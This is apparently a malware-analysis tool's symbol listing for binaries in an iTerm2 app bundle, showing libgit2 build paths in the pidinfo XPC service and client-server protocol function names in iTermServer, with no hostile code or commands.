Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/streams/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/unix/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/unix/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/transports/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/submodules/libgit2/src/xdiff/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sha1.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refspec.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(regexp.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(registry.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(remote.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(repository.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(revparse.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(revwalk.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(runtime.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(refs.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart_pkt.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart_protocol.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(socket.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sortedcache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ssh.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(status.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(stdalloc.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(stransport.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(signature.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(smart.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(sysdir.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tag.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(thread.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(threadstate.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tls.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(trace.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(transaction.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(strarray.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(strmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(submodule.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ubc_check.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(unicode_builtin.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(util.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(util.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(varint.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(vector.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(transport.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tree-cache.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tree.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(tsort.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xmerge.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xpatience.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xprepare.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xutils.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(zstream.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(wildmatch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(worktree.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xdiffi.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xemit.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(xhistogram.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/pidinfo/
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/PIDInfoGitState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/iTermFileDescriptorServerShared.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/iTermGitClient.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/iTermGitState.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/main.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/build/iTerm2.build/Deployment/pidinfo.build/Objects-normal/arm64/pidinfo.o
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mbedtls.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge_driver.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(merge_file.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(midx.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(iterator.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(libgit2.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(local.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mailmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(map.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb_loose.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(odb_pack.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(offmap.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(mwindow.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(net.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(netops.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(ntlm.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(object.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(object_api.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(patch.c.o)
Source: extracted file from submission iTerm\iTerm.app\Contents\XPCServices\pidinfo.xpc\Contents\MacOS\pidinfo	Mach-O symbol: /Users/gnachman/git/iterm2-alt/ThirdParty/libgit2/lib/libgit2.a(patch_generate.c.o)

Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _gRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _mach_port_type
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncoderCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncoderCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolEncodeTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedString
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageEnsureSpace.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageFree
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageInitialize
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolMessageInitialize
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedInt
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorClientWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParseTaggedStringArray
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _recvmsg
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermClientServerProtocolParserCopyAndAdvance.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _sendmsg
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SendLaunchResponse
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SetRunningServer
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerSendMessageAndFileDescriptor.cold.1
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _SendLaunchResponse
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorClientWrite
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAccept
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAccept
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAcceptAndClose
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerAcceptAndClose
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _socket
Source: extracted file from submission iTerm\iTerm.app\Contents\MacOS\iTermServer	Mach-O symbol: _iTermFileDescriptorServerLog
